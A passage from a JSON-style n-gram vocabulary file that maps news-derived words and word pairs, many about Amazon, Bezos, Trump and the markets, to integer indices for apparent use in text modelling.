193480, "improperly threatened": 193481, "small plane": 193482, "___": 193483, "party platform": 193484, "minimum change": 193485, "terrifying": 193486, "water water": 193487, "fda bans": 193488, "minded peers": 193489, "imitations": 193490, "putin concealing": 193491, "financial gain": 193492, "profit concerns": 193493, "uber volvo": 193494, "fact declared": 193495, "standards act": 193496, "candidate drew": 193497, "state representatives": 193498, "money john": 193499, "election": 193500, "potentially catastrophic": 193501, "new long": 193502, "post crash": 193503, "salacious reporting": 193504, "israel capital": 193505, "skills shortages": 193506, "luxor hotels": 193507, "expense range": 193508, "state investigation": 193509, "rundown podcast": 193510, "walmart shirts": 193511, "muslim hate": 193512, "hughes michael": 193513, "1668": 193514, "regulatory documents": 193515, "private firms": 193516, "handily": 193517, "activity used": 193518, "modify terminal": 193519, "methodist church": 193520, "bit lucky": 193521, "hal 9000": 193522, "supercenters": 193523, "pared earlier": 193524, "opposition leader": 193525, "landlord": 193526, "json r4ee": 193527, "dan hett": 193528, "current government": 193529, "anti human": 193530, "international bridge": 193531, "2014 file": 193532, "anwar": 193533, "funny": 193534, "madame tussaud": 193535, "overall delivery": 193536, "kyleperisic send": 193537, "trumpsters": 193538, "trump agreed": 193539, "paring half": 193540, "thieves illegal": 193541, "experts told": 193542, "rates oil": 193543, "panic economy": 193544, "aug 1990": 193545, "ami run": 193546, "frankly idiotic": 193547, "government ap": 193548, "jewish civil": 193549, "shipping contracts": 193550, "conley": 193551, "potato salad": 193552, "showed obama": 193553, "don exist": 193554, "ap hundreds": 193555, "experience act": 193556, "2017 snl": 193557, "felons": 193558, "label competition": 193559, "packages dave": 193560, "ecobee": 193561, "missile bases": 193562, "million james": 193563, "written number": 193564, "novartis glaxosmithkline": 193565, "learning experience": 193566, "impact results": 193567, "mailboxes": 193568, "allegedly shows": 193569, "fb warned": 193570, "bailey": 193571, "repeatedly claims": 193572, "bezos book": 193573, "griffeth tuna": 193574, "midterms repeatedly": 193575, "831": 193576, "york image": 193577, "4e8uceqmon": 193578, "stand join": 193579, "gwl realty": 193580, "a4ee y1": 193581, "family leave": 193582, "continuous light": 193583, "alcoa corporation": 193584, "bannon says": 193585, "daily life": 193586, "drivers bicyclists": 193587, "bolsonaro deepens": 193588, "referral fee": 193589, "industrial activity": 193590, "starting point": 193591, "politics floating": 193592, "pearsons": 193593, "potential multiple": 193594, "forces political": 193595, "russia thing": 193596, "publicly subsidized": 193597, "cohen recalled": 193598, "chosen queens": 193599, "data advantage": 193600, "apps create": 193601, "stobe": 193602, "chef great": 193603, "relative number": 193604, "rights wrote": 193605, "trump threats": 193606, "1985": 193607, "pay gigantic": 193608, "comparison republican": 193609, "regulate interstate": 193610, "tumble led": 193611, "lottery": 193612, "garfield chief": 193613, "trump merchandise": 193614, "sophie hurwitz": 193615, "tur": 193616, "history elite": 193617, "future site": 193618, "markle connection": 193619, "doubting": 193620, "legal document": 193621, "guarantee competitor": 193622, "lucrative value": 193623, "america headlineposttext": 193624, "absorbed": 193625, "abramson": 193626, "billion consumers": 193627, "wing self": 193628, "granting ami": 193629, "wonderful optical": 193630, "contract told": 193631, "daily routine": 193632, "narwhal mgmt": 193633, "sold mail": 193634, "y_173218731_200015422000928060_388160": 193635, "lisa jewell": 193636, "complex web": 193637, "maintain": 193638, "replace 190": 193639, "centuries old": 193640, "dana sanchez": 193641, "quality fakes": 193642, "liberal culture": 193643, "diego seattle": 193644, "hearing senior": 193645, "making incentives": 193646, "gurnani": 193647, "successfully play": 193648, "little outsourcing": 193649, "25th best": 193650, "strangest": 193651, "expects aramco": 193652, "traffic nightmares": 193653, "105 exciting": 193654, "west coast": 193655, "hits wall": 193656, "created gum": 193657, "time hours": 193658, "caught steam": 193659, "kids cigarette": 193660, "university students": 193661, "bloomingdales daniel": 193662, "marsha ryan": 193663, "traded": 193664, "w9x h6a": 193665, "sports twitter": 193666, "adoptive": 193667, "brexit reprieve": 193668, "racer photo": 193669, "reads phoenix": 193670, "caveman": 193671, "doing fb": 193672, "delivery man": 193673, "isn immune": 193674, "counterfeit chanel": 193675, "fine longer": 193676, "paper towels": 193677, "retail logistics": 193678, "live interview": 193679, "legal right": 193680, "influence ami": 193681, "subject bullet": 193682, "stars sarayu": 193683, "widely reported": 193684, "drunk want": 193685, "standouts honorable": 193686, "length break": 193687, "fear vegas": 193688, "slowdown takes": 193689, "manager clients": 193690, "2018 construction": 193691, "banning vaccine": 193692, "meth": 193693, "interrogation": 193694, "trudeau sign": 193695, "life live": 193696, "son kills": 193697, "policies record": 193698, "hookup": 193699, "2016 jewel": 193700, "corporate roots": 193701, "putnam support": 193702, "story unless": 193703, "kacy": 193704, "junckers": 193705, "amazon sprawl": 193706, "takes jennifer": 193707, "floaty": 193708, "jebburacker status": 193709, "company bias": 193710, "prospective customers": 193711, "home base": 193712, "month contractors": 193713, "busy philipps": 193714, "ritholtz": 193715, "incidence": 193716, "revenue model": 193717, "washers": 193718, "lived twitter": 193719, "new yorks": 193720, "leaked news": 193721, "usually covers": 193722, "netflix vengeful": 193723, "governor rick": 193724, "explicitly links": 193725, "kiannah sepeda": 193726, "sweatshirt": 193727, "laura jarrett": 193728, "online micro": 193729, "turk": 193730, "read newsletter": 193731, "star evening": 193732, "elections provided": 193733, "colbert 100418": 193734, "cell cultures": 193735, "connection source": 193736, "katera noted": 193737, "madeline puckette": 193738, "suburb": 193739, "salary stacks": 193740, "dalby": 193741, "civilly": 193742, "yorkers support": 193743, "created subsequent": 193744, "indian foundation": 193745, "offsetx": 193746, "romantic messages": 193747, "fair trump": 193748, "johnson amendment": 193749, "old employee": 193750, "monica based": 193751, "dorsey uses": 193752, "dicom": 193753, "forbes real": 193754, "tv roseanne": 193755, "tech powerhouses": 193756, "pay worth": 193757, "serving low": 193758, "kat": 193759, "cnn charles": 193760, "global soy": 193761, "fronts claiming": 193762, "eyes new": 193763, "carriers discriminate": 193764, "centered flexible": 193765, "goodnight addy": 193766, "addition apple": 193767, "industrial war": 193768, "squire rushnell": 193769, "hold special": 193770, "horror stories": 193771, "wire star": 193772, "geostrategy direct": 193773, "deserve comprehensive": 193774, "marketing practices": 193775, "storm epa": 193776, "loss": 193777, "europe prevented": 193778, "project lead": 193779, "hike expectations": 193780, "northern thailand": 193781, "exhaustive": 193782, "new jobless": 193783, "trump seethes": 193784, "english subtitles": 193785, "jets": 193786, "average 300": 193787, "opinion apple": 193788, "classmate": 193789, "wheth": 193790, "protecting pedophiles": 193791, "titled xly": 193792, "inhumans centers": 193793, "biennial general": 193794, "government isn": 193795, "case": 193796, "biggest nuclear": 193797, "passenger flights": 193798, "financial advantage": 193799, "pass increases": 193800, "correctly documented": 193801, "attention according": 193802, "niger": 193803, "divorce proceeds": 193804, "demise intimidating": 193805, "company shut": 193806, "foretell": 193807, "children story": 193808, "shall act": 193809, "jarrett published": 193810, "taxes corporations": 193811, "clean energy": 193812, "guest workers": 193813, "amendment trump": 193814, "formally introduced": 193815, "secret aardvark": 193816, "survey conducted": 193817, "deal makes": 193818, "dislikes": 193819, "stop looking": 193820, "red women": 193821, "parcel centers": 193822, "bandwagonmany": 193823, "breached national": 193824, "look lot": 193825, "santa rosa": 193826, "cents individual": 193827, "business iconimageurl": 193828, "grant money": 193829, "brother ronan": 193830, "boy body": 193831, "bn": 193832, "high": 193833, "desk including": 193834, "publish private": 193835, "huge consumer": 193836, "action jedi": 193837, "taxes 2019": 193838, "worldwide multinationals": 193839, "newspaper tone": 193840, "recevied": 193841, "self sustaining": 193842, "standoff minutes": 193843, "prices financial": 193844, "haircut chose": 193845, "trivialise mental": 193846, "reported disclosures": 193847, "forward different": 193848, "literary website": 193849, "kayli carter": 193850, "signaled dissatisfaction": 193851, "cozy personal": 193852, "china responded": 193853, "companies better": 193854, "company anti": 193855, "sanchez broke": 193856, "style labor": 193857, "234 applications": 193858, "transportation mid": 193859, "trump eventually": 193860, "sanchez wearing": 193861, "reporters uncovered": 193862, "videocardcontents descriptionplaintext": 193863, "weeks undercover": 193864, "kate bolduan": 193865, "darkness fame": 193866, "classic gardy": 193867, "literary icon": 193868, "earn company": 193869, "wind": 193870, "winfield house": 193871, "bernstein famously": 193872, "impede": 193873, "howallusb cables": 193874, "lee dialectics": 193875, "company facing": 193876, "hypnotized": 193877, "georgieva describes": 193878, "testing walmart": 193879, "home trump": 193880, "chicago amazon": 193881, "yoon reports": 193882, "takes cognisance": 193883, "uwu": 193884, "exec says": 193885, "phcvjdjxyi": 193886, "art headquarters": 193887, "wealthy silicon": 193888, "machines dishwashers": 193889, "mirror selfies": 193890, "obama compares": 193891, "individual heart": 193892, "ladder": 193893, "ford motor": 193894, "stacked": 193895, "khosrowshahi appeared": 193896, "post want": 193897, "israeli military": 193898, "mediterranean": 193899, "exhibited": 193900, "sentiment declines": 193901, "told different": 193902, "annual recognition": 193903, "illuminati": 193904, "wyden connected": 193905, "mail worker": 193906, "ann arbor": 193907, "business loans": 193908, "analyst data": 193909, "sandberg husband": 193910, "barth": 193911, "government run": 193912, "union efforts": 193913, "tweeted story": 193914, "foreclosures mnuchin": 193915, "415 439": 193916, "horrors": 193917, "hbo asia": 193918, "trump born": 193919, "causes according": 193920, "313": 193921, "amazon offerings": 193922, "friends according": 193923, "consensus called": 193924, "small way": 193925, "certainly looking": 193926, "fund nancy": 193927, "potential consolidation": 193928, "trump minaj": 193929, "peddle fraudulent": 193930, "planning discussions": 193931, "tropics critics": 193932, "w5q": 193933, "nice package": 193934, "generate worldwide": 193935, "ensnares": 193936, "tangible assets": 193937, "narrative": 193938, "queens economic": 193939, "attendant social": 193940, "iran arrested": 193941, "icymi newspaper": 193942, "refinances": 193943, "negative coverage": 193944, "exercise equipment": 193945, "convicted venezuela": 193946, "bump stocks": 193947, "yes king": 193948, "shot naval": 193949, "comfort know": 193950, "attending black": 193951, "medium publication": 193952, "parents opt": 193953, "glenn": 193954, "telling icann": 193955, "ms warren": 193956, "op deze": 193957, "owlprevitem removeclass": 193958, "desk amazon": 193959, "tannehill experiment": 193960, "trumplighthizer": 193961, "plans chicago": 193962, "howard desperate": 193963, "moment pelosi": 193964, "evidence uncovered": 193965, "commodities market": 193966, "requiring google": 193967, "employee campuses": 193968, "presumed hq2": 193969, "deficit 2018": 193970, "600 new": 193971, "mould told": 193972, "reported earnings": 193973, "foot mansion": 193974, "commission opened": 193975, "2018 corsi": 193976, "investor": 193977, "tweaked": 193978, "launch war": 193979, "orlando hernandez": 193980, "communications manager": 193981, "plugable": 193982, "niniane": 193983, "grizzlies veteran": 193984, "assets don": 193985, "stevenson amazon": 193986, "indigenous women": 193987, "source using": 193988, "reportedly glean": 193989, "net sellers": 193990, "boutique": 193991, "gmb_union": 193992, "business risks": 193993, "roadside": 193994, "needs second": 193995, "james bloodworth": 193996, "versus expectations": 193997, "chris cox": 193998, "local views": 193999, "taxes hope": 194000, "offer checking": 194001, "hydration": 194002, "similar practices": 194003, "order rihanna": 194004, "company misleading": 194005, "state ceo": 194006, "notable cast": 194007, "033": 194008, "include larry": 194009, "comments game": 194010, "general previously": 194011, "party sales": 194012, "fed database": 194013, "bustling suburb": 194014, "speed limits": 194015, "kramer cnbc": 194016, "constant stream": 194017, "2018 disclosures": 194018, "metapack asset": 194019, "carroll eliana": 194020, "landlocked european": 194021, "kilometers": 194022, "staffers school": 194023, "wear culturally": 194024, "robust ip": 194025, "powered echo": 194026, "eliot stein": 194027, "trump creates": 194028, "sandeep vaheesan": 194029, "proceedings begin": 194030, "partners 2018": 194031, "turns positive": 194032, "star kim": 194033, "american airlines": 194034, "director morten": 194035, "party affiliation": 194036, "disasters foto": 194037, "weather cvs": 194038, "ironically amazon": 194039, "seconds ag": 194040, "comedian switched": 194041, "action senate": 194042, "readings": 194043, "trump spent": 194044, "sprawling estate": 194045, "gov economic": 194046, "2038": 194047, "face backlash": 194048, "4k forget": 194049, "office jenna": 194050, "cnn contributor": 194051, "hannity fox": 194052, "neo lordish": 194053, "supplier": 194054, "sbd advisors": 194055, "historic twitter": 194056, "digital era": 194057, "states kamhi": 194058, "intergovernmental": 194059, "sandberg boss": 194060, "testimony fascists": 194061, "magical realist": 194062, "mody": 194063, "injured hundreds": 194064, "potentially motivated": 194065, "present bezos": 194066, "r0 undefined": 194067, "erik lesser": 194068, "greatest deals": 194069, "building headquarters": 194070, "kavitha": 194071, "daughters": 194072, "star status": 194073, "preschool educations": 194074, "prepayments": 194075, "handles data": 194076, "webster groves": 194077, "month contradictory": 194078, "stunning admission": 194079, "rescued obama": 194080, "obama haters": 194081, "products yeti": 194082, "results veterans": 194083, "nbc russia": 194084, "used sold": 194085, "risks": 194086, "send rents": 194087, "having lab": 194088, "diplomat": 194089, "obtained intimate": 194090, "year college": 194091, "advanced stages": 194092, "paper digging": 194093, "yahoo nasdaq": 194094, "results beating": 194095, "explosives essay": 194096, "says sales": 194097, "post exists": 194098, "trump headlineplaintext": 194099, "reduced paycheck": 194100, "kaur amazon": 194101, "us32": 194102, "ipo usa": 194103, "trade advice": 194104, "work jim": 194105, "balances": 194106, "profile bombshells": 194107, "cases vietnamese": 194108, "gmt courtesy": 194109, "lose tens": 194110, "job told": 194111, "policy aims": 194112, "gudiel brother": 194113, "podesta tweeted": 194114, "average djia": 194115, "sanchez elkan": 194116, "earth destroying": 194117, "site amazon": 194118, "convenient foil": 194119, "marijuana revenue": 194120, "104 years": 194121, "atvpdkikx0der": 194122, "uv rays": 194123, "food assistance": 194124, "households amazon": 194125, "additionally note": 194126, "pecker loyalty": 194127, "stress test": 194128, "recovering upwards": 194129, "washington postal": 194130, "legal crosshairs": 194131, "administration": 194132, "mario batali": 194133, "investigation amazon": 194134, "trump reelection": 194135, "including intel": 194136, "soon possible": 194137, "dispel": 194138, "experts stress": 194139, "jackman plus": 194140, "xa bb": 194141, "ensured steady": 194142, "treadmill control": 194143, "sandusky register": 194144, "languages washington": 194145, "pritchard prominent": 194146, "spent nicely": 194147, "vow": 194148, "deflect": 194149, "senior democrat": 194150, "chatham asset": 194151, "bowkers authority": 194152, "seen blazing": 194153, "bush read": 194154, "adam sedo": 194155, "works committee": 194156, "legally problematic": 194157, "billion sec": 194158, "universe root": 194159, "foreign auto": 194160, "publication won": 194161, "as_pez acceso": 194162, "labeled monopoly": 194163, "tablet containerclassid": 194164, "healthier people": 194165, "ranked flagship": 194166, "president twitter": 194167, "respectfully disagree": 194168, "morning join": 194169, "amazon message": 194170, "discussions taking": 194171, "hiv": 194172, "aborted animal": 194173, "ami issued": 194174, "city university": 194175, "entire affordable": 194176, "mayor pete": 194177, "core pillar": 194178, "companies took": 194179, "pastures": 194180, "services announced": 194181, "attacking amazon": 194182, "perrone president": 194183, "smarsh": 194184, "services cloud": 194185, "nervous rust": 194186, "adapts": 194187, "important locations": 194188, "injects children": 194189, "sl\u00f8k": 194190, "used tax": 194191, "independent journalism": 194192, "vast inventory": 194193, "senator lindsey": 194194, "feld told": 194195, "bob hetu": 194196, "consumers quantifying": 194197, "amazon contributes": 194198, "remedy anticompetitive": 194199, "childish": 194200, "favouring": 194201, "upward distribution": 194202, "galvanizing": 194203, "songwriter dangled": 194204, "counting addition": 194205, "johnson head": 194206, "investor starboard": 194207, "administration unearthing": 194208, "trump taking": 194209, "timeline aligns": 194210, "simple document": 194211, "immortal medium": 194212, "walking away": 194213, "companies multiple": 194214, "subsection": 194215, "drugs bath": 194216, "florence touted": 194217, "reported officials": 194218, "house speechwriter": 194219, "repeatedly slammed": 194220, "usatoda usatoda": 194221, "bezos jokingly": 194222, "content according": 194223, "government watchdog": 194224, "connect residents": 194225, "tabloid protector": 194226, "progressive sensation": 194227, "answers unsatisfactory": 194228, "president stalled": 194229, "just mercy": 194230, "country parliament": 194231, "ride posted": 194232, "bust sanctions": 194233, "today jefferson": 194234, "magnanimous": 194235, "chance official": 194236, "reputable": 194237, "convened": 194238, "community assessment": 194239, "planning massive": 194240, "antitrust law": 194241, "teal": 194242, "dod officials": 194243, "semitic man": 194244, "offensive trump": 194245, "2022 apple": 194246, "underlying tension": 194247, "amazon riled": 194248, "ms shehan": 194249, "sheet fortune": 194250, "employee told": 194251, "enjoy greater": 194252, "italian economy": 194253, "political stances": 194254, "lennon scottish": 194255, "sexual acts": 194256, "absolute trump": 194257, "negatively affected": 194258, "9hv7nzey6r": 194259, "success conferences": 194260, "sensanders status": 194261, "ami shall": 194262, "organizer": 194263, "suggested describing": 194264, "news update": 194265, "cap mark": 194266, "consolidation": 194267, "federal street": 194268, "trillion bezos": 194269, "workers including": 194270, "fumed": 194271, "cup think": 194272, "jay shendure": 194273, "amazon written": 194274, "upscale roastery": 194275, "politically given": 194276, "amazing process": 194277, "include expanding": 194278, "alleged intimate": 194279, "recent month": 194280, "sens bernie": 194281, "families bezos": 194282, "death activist": 194283, "authoritarianism": 194284, "wading": 194285, "benefit company": 194286, "brings wryness": 194287, "american bubble": 194288, "photos theenquirer": 194289, "include cnn": 194290, "deal included": 194291, "mpls day": 194292, "reportedly offering": 194293, "rekognition raises": 194294, "particularly different": 194295, "youth living": 194296, "sorority alpha": 194297, "hsn": 194298, "dinner booking": 194299, "bolstering": 194300, "baidu": 194301, "sanctimonious judgments": 194302, "outlandish policy": 194303, "newsroom credibility": 194304, "reigns supreme": 194305, "chief lawyer": 194306, "enormous gains": 194307, "1997": 194308, "deforested right": 194309, "large audience": 194310, "vandal": 194311, "mile network": 194312, "geography facts": 194313, "surprised deborah": 194314, "mexico gov": 194315, "thrones": 194316, "suggest kind": 194317, "scale mines": 194318, "mogul bought": 194319, "penned": 194320, "leeds study": 194321, "lives hoping": 194322, "given trump": 194323, "pro union": 194324, "apple makes": 194325, "felony campaign": 194326, "onsite employment": 194327, "make mueller": 194328, "projects gbenga": 194329, "private financial": 194330, "union earlier": 194331, "amalgamated": 194332, "provides automated": 194333, "taxed news": 194334, "reach far": 194335, "sportscoat": 194336, "cloud makers": 194337, "moves pulled": 194338, "lgbtq": 194339, "unless consumers": 194340, "rewarded shareholders": 194341, "released shortly": 194342, "000 individual": 194343, "netflix opening": 194344, "stated concern": 194345, "recession iran": 194346, "business councils": 194347, "office peter": 194348, "capwealth": 194349, "rarified": 194350, "comment read": 194351, "demanding better": 194352, "devices division": 194353, "conference trumps": 194354, "house insisted": 194355, "jay eshbach": 194356, "moral indifference": 194357, "affectionately": 194358, "allies publicly": 194359, "cat berkshire": 194360, "targets begin": 194361, "sultan column": 194362, "super hornet": 194363, "true swamp": 194364, "senatefirst": 194365, "1531928062": 194366, "combating": 194367, "government specifically": 194368, "radical transparency": 194369, "blueberry asahi": 194370, "jaded": 194371, "takes privacy": 194372, "divisional": 194373, "pride katie": 194374, "unhealthy opinions": 194375, "enterprise decisions": 194376, "bipartisan research": 194377, "deputy kaplan": 194378, "half": 194379, "increased": 194380, "formative": 194381, "brands sales": 194382, "potential regulations": 194383, "local labor": 194384, "flood 179": 194385, "pompeo speaks": 194386, "increasing rates": 194387, "martin jmartnyt": 194388, "interesting case": 194389, "reported noting": 194390, "3adcwtfl0k": 194391, "times jumped": 194392, "dangerous products": 194393, "upgraded": 194394, "regarding statements": 194395, "costs jumped": 194396, "provides unified": 194397, "folded": 194398, "biden presidential": 194399, "signaled widespread": 194400, "placeholder": 194401, "bystander effect": 194402, "michael vocal": 194403, "greet feel": 194404, "ceremony held": 194405, "vietnam efforts": 194406, "zeya tun": 194407, "footy team": 194408, "803 464": 194409, "virginia offering": 194410, "va medical": 194411, "ranganathan": 194412, "hear news": 194413, "paraphernalia": 194414, "office appears": 194415, "impaired": 194416, "workers rights": 194417, "essentially reimburse": 194418, "commerce fast": 194419, "gerstein russian": 194420, "shares bezos": 194421, "services businesses": 194422, "snaps": 194423, "bezos contrasting": 194424, "virtuous publicity": 194425, "ips monitor": 194426, "knockoffs": 194427, "ports": 194428, "permissive": 194429, "employee boeing": 194430, "expecting q4": 194431, "realistically": 194432, "giant join": 194433, "lands don": 194434, "gun shots": 194435, "origin commercial": 194436, "tentatively": 194437, "krzanich exit": 194438, "plaxall": 194439, "lower crude": 194440, "sajni girl": 194441, "ditching freeloaders": 194442, "near poverty": 194443, "intuitive": 194444, "xs": 194445, "paywall previously": 194446, "region economic": 194447, "weren followed": 194448, "kindle leftist": 194449, "general republican": 194450, "hauled": 194451, "microsoft briefly": 194452, "orwell book": 194453, "mental health": 194454, "act trump": 194455, "king rangers": 194456, "holtzbrinck": 194457, "shaban": 194458, "pricing issue": 194459, "beach fla": 194460, "mccain decided": 194461, "immigration trump": 194462, "investment away": 194463, "benzinga does": 194464, "world amazon": 194465, "create crisisall": 194466, "radical 2020": 194467, "bookseller beginnings": 194468, "centers total": 194469, "metal balls": 194470, "chemical": 194471, "analysis conducted": 194472, "workplace simotas": 194473, "phelps ivanka": 194474, "agonizing desire": 194475, "raincoats": 194476, "run": 194477, "ihkopoyqzz": 194478, "tv customers": 194479, "misleading govpredict": 194480, "prospects story": 194481, "science mystery": 194482, "father fought": 194483, "afflictions": 194484, "firm trump": 194485, "ago stock": 194486, "canceled trip": 194487, "statistical": 194488, "capital tehran": 194489, "acting coach": 194490, "issue facebook": 194491, "left google": 194492, "market don": 194493, "politics panel": 194494, "tubes": 194495, "travel bucket": 194496, "actually rigging": 194497, "largest monthly": 194498, "jen hsun": 194499, "critical magazine": 194500, "improve customer": 194501, "publishes unflattering": 194502, "consumer confidence": 194503, "cameron stracher": 194504, "bloomberg data": 194505, "parkland": 194506, "related new": 194507, "walmart founder": 194508, "reportedly assumed": 194509, "think american": 194510, "saying nafta": 194511, "monopoly shares": 194512, "kudlow report": 194513, "policy menchaca": 194514, "kenmore": 194515, "bull bear": 194516, "rbsz1udt2g abc": 194517, "new gusher": 194518, "theoretically": 194519, "ruby rose": 194520, "brian merchant": 194521, "hours depositing": 194522, "workers decided": 194523, "biggest quarterly": 194524, "drawing comparisons": 194525, "hospitals outpatient": 194526, "community partner": 194527, "agency ota": 194528, "dramatic story": 194529, "moderate positions": 194530, "bangladesh": 194531, "office fleet": 194532, "utilizing blue": 194533, "room cbs": 194534, "workstation grade": 194535, "person packages": 194536, "direct relationship": 194537, "modi administration": 194538, "investigation naturally": 194539, "fashion": 194540, "flyingtypers": 194541, "story gileads": 194542, "pay far": 194543, "social secretary": 194544, "price worth": 194545, "little creative": 194546, "important river": 194547, "atlanta journal": 194548, "apparently reads": 194549, "describes trump": 194550, "snyder amazon": 194551, "flint": 194552, "toponymie explained": 194553, "stemming": 194554, "boxes falling": 194555, "premise euphoria": 194556, "launch gallery": 194557, "favor promising": 194558, "pinpoint areas": 194559, "wayward boys": 194560, "deflated": 194561, "founders steve": 194562, "undeterred": 194563, "results arguing": 194564, "desktop computer": 194565, "z0 a4ee": 194566, "dedicates": 194567, "usual firewalls": 194568, "great wealth": 194569, "particular view": 194570, "news stock": 194571, "meat butcher": 194572, "trump firedfbi": 194573, "mindanao region": 194574, "better equipped": 194575, "pbm": 194576, "tobacco campaign": 194577, "aisne marne": 194578, "warehousing positions": 194579, "choice today": 194580, "kiannah": 194581, "turning profit": 194582, "casey hosting": 194583, "battles conflicts": 194584, "succession plan": 194585, "authorities accountability": 194586, "book award": 194587, "workers combined": 194588, "450 carriers": 194589, "answered adding": 194590, "802": 194591, "promulgate": 194592, "pennsylvania democrats": 194593, "season kevin": 194594, "source nbc": 194595, "knowcontinued": 194596, "televised address": 194597, "trumps": 194598, "investorplace explained": 194599, "mccain stood": 194600, "videotape robert": 194601, "moving average": 194602, "new corporate": 194603, "common man": 194604, "poverty press": 194605, "russian moscow": 194606, "validea": 194607, "vaccination sceptic": 194608, "suit alleges": 194609, "product prices": 194610, "sourceamazon released": 194611, "funder amazon": 194612, "delayed ban": 194613, "explain esl": 194614, "existence brings": 194615, "amazon cancelsits": 194616, "ambulance calls": 194617, "trumpcrimefamily": 194618, "standard minimum": 194619, "broadway star": 194620, "mozambique rescue": 194621, "j8i q0": 194622, "boston naturally": 194623, "stores continue": 194624, "2017 cibc": 194625, "reback noted": 194626, "candidate elizabeth": 194627, "big stick": 194628, "ms lauren": 194629, "stars emily": 194630, "brazil leading": 194631, "number packages": 194632, "way": 194633, "gray": 194634, "wayfair future": 194635, "blackmail insisting": 194636, "version credits": 194637, "clicker": 194638, "foremost": 194639, "baku": 194640, "ag culp": 194641, "jones falls": 194642, "spanish speaking": 194643, "parties bryan": 194644, "pickle": 194645, "squelch": 194646, "securities violations": 194647, "finance delivered": 194648, "aws contract": 194649, "n1 queryselectorall": 194650, "sanna": 194651, "american ballet": 194652, "commission": 194653, "tunnels subwaybikes": 194654, "insights including": 194655, "abused": 194656, "stalemate furloughed": 194657, "elf beauty": 194658, "exuberance": 194659, "country tax": 194660, "obtain profits": 194661, "soy plantations": 194662, "ranks twentieth": 194663, "big beat": 194664, "grew economists": 194665, "couldn say": 194666, "biggest political": 194667, "david huttenlocher": 194668, "trump connection": 194669, "enticing reason": 194670, "really happening": 194671, "saladish ilene": 194672, "rahel": 194673, "previously expressed": 194674, "ted lieu": 194675, "biggest washington": 194676, "separation policies": 194677, "n970311": 194678, "moneywithout": 194679, "nov pool": 194680, "extremists": 194681, "manufacturing war": 194682, "just symptom": 194683, "data medium": 194684, "cambridge present": 194685, "length physique": 194686, "cowen icymi": 194687, "queues": 194688, "walmart jet": 194689, "throttle": 194690, "face olive": 194691, "neutralized": 194692, "popularity amazon": 194693, "environmental markets": 194694, "romney famously": 194695, "waist": 194696, "conan brien": 194697, "fintech policy": 194698, "javers contributed": 194699, "critic state": 194700, "week told": 194701, "escaper": 194702, "approved billion": 194703, "national institute": 194704, "second highest": 194705, "high gear": 194706, "york trump": 194707, "president usa": 194708, "insurance upgraded": 194709, "398 shares": 194710, "underweight": 194711, "chuxing following": 194712, "growth": 194713, "poem": 194714, "reach larger": 194715, "clearance sales": 194716, "bread butter": 194717, "depots": 194718, "958": 194719, "jump pretty": 194720, "adviser peter": 194721, "legally ban": 194722, "latest slide": 194723, "scratch wouldn": 194724, "nfp jobs": 194725, "right fight": 194726, "family home": 194727, "city offered": 194728, "doctor refusing": 194729, "infrastructure fulfillment": 194730, "previously online": 194731, "investment strategy": 194732, "8718": 194733, "goods throwing": 194734, "forest produces": 194735, "lago deal": 194736, "company dynamics": 194737, "response underscores": 194738, "irish prime": 194739, "bezos pictured": 194740, "herbicides": 194741, "knopf leader": 194742, "big opportunities": 194743, "book soon": 194744, "ruralista bloc": 194745, "reporting chains": 194746, "photo construction": 194747, "unbeaten": 194748, "operating margin": 194749, "fight workplace": 194750, "allow humans": 194751, "higher taxes": 194752, "hollywood homeowner": 194753, "important decisions": 194754, "jeff bezoz": 194755, "especially thankful": 194756, "direct negotiation": 194757, "rivals prices": 194758, "harm amazon": 194759, "getting shirt": 194760, "tweeting habit": 194761, "rent meals": 194762, "rover missions": 194763, "collar workers": 194764, "best drama": 194765, "dillon disquisitions": 194766, "policy communications": 194767, "sought new": 194768, "just negotiated": 194769, "pays little": 194770, "expand veteran": 194771, "new catchall": 194772, "consecutive sweeps": 194773, "base provides": 194774, "500 climbed": 194775, "outposts": 194776, "r40 _trksid": 194777, "variables": 194778, "luck considering": 194779, "hudgins": 194780, "partners analyst": 194781, "entrepreneur information": 194782, "whichever company": 194783, "car prices": 194784, "mike tyson": 194785, "journal commentator": 194786, "says rise": 194787, "ads brands": 194788, "sgtreport": 194789, "post 2018": 194790, "microsoft don": 194791, "bylund owns": 194792, "cut deals": 194793, "showed photos": 194794, "trade tit": 194795, "stories make": 194796, "party security": 194797, "seeno": 194798, "govpredict carried": 194799, "authoring": 194800, "alphabet closed": 194801, "weird conspiracy": 194802, "getting separated": 194803, "nations china": 194804, "aegis network": 194805, "corporate supplies": 194806, "punishments": 194807, "resurged shannon": 194808, "speculated": 194809, "464 hectares": 194810, "filtering content": 194811, "dixon left": 194812, "note netflix": 194813, "fact free": 194814, "berating": 194815, "secretly rendezvoused": 194816, "brings loud": 194817, "decisions offer": 194818, "mosque shootings": 194819, "invasion virginia": 194820, "poway calif": 194821, "american industries": 194822, "loudenback view": 194823, "layer": 194824, "thrivenyc": 194825, "preventable disease": 194826, "carell appears": 194827, "business equally": 194828, "jones industrial": 194829, "meaning investment": 194830, "payment underscores": 194831, "green day": 194832, "recommending postal": 194833, "erica easley": 194834, "password": 194835, "feeds": 194836, "denied saudis": 194837, "foes plan": 194838, "m2x h0": 194839, "coast ocasio": 194840, "idiots hypocrites": 194841, "bytes google": 194842, "3343556 width": 194843, "research concluded": 194844, "sotu": 194845, "trump appeared": 194846, "reverberated": 194847, "missing people": 194848, "forcing planned": 194849, "hits included": 194850, "netflix salt": 194851, "tuna sandwich": 194852, "group known": 194853, "new transportation": 194854, "reportedly building": 194855, "line market": 194856, "state power": 194857, "shuster": 194858, "marketwatch print": 194859, "day stretching": 194860, "witch half": 194861, "271 000": 194862, "brings lot": 194863, "brand halo": 194864, "156 billion": 194865, "died nov": 194866, "world longest": 194867, "erase": 194868, "require prime": 194869, "country gdp": 194870, "given comparatively": 194871, "version remains": 194872, "bezos endgame": 194873, "benefit liabilities": 194874, "para\u00edba issued": 194875, "chinese food": 194876, "2fnationworld 2fpolitics": 194877, "mandatory minimum": 194878, "day low": 194879, "commit billion": 194880, "starring frances": 194881, "work hard": 194882, "nasdaq sbgi": 194883, "andsaid": 194884, "fears varney": 194885, "arrangements contractually": 194886, "guy bloomberg": 194887, "fighting proposed": 194888, "sext woman": 194889, "apparent tax": 194890, "money makes": 194891, "starring michael": 194892, "amazon pulled": 194893, "credit boosts": 194894, "euros": 194895, "pass restored": 194896, "important great": 194897, "generated positive": 194898, "yorker profile": 194899, "tripled": 194900, "venders": 194901, "supplementation": 194902, "var c9x": 194903, "telly host": 194904, "iphones apple": 194905, "aluminum coming": 194906, "human hair": 194907, "gallon soon": 194908, "entrepreneurial amazon": 194909, "rich 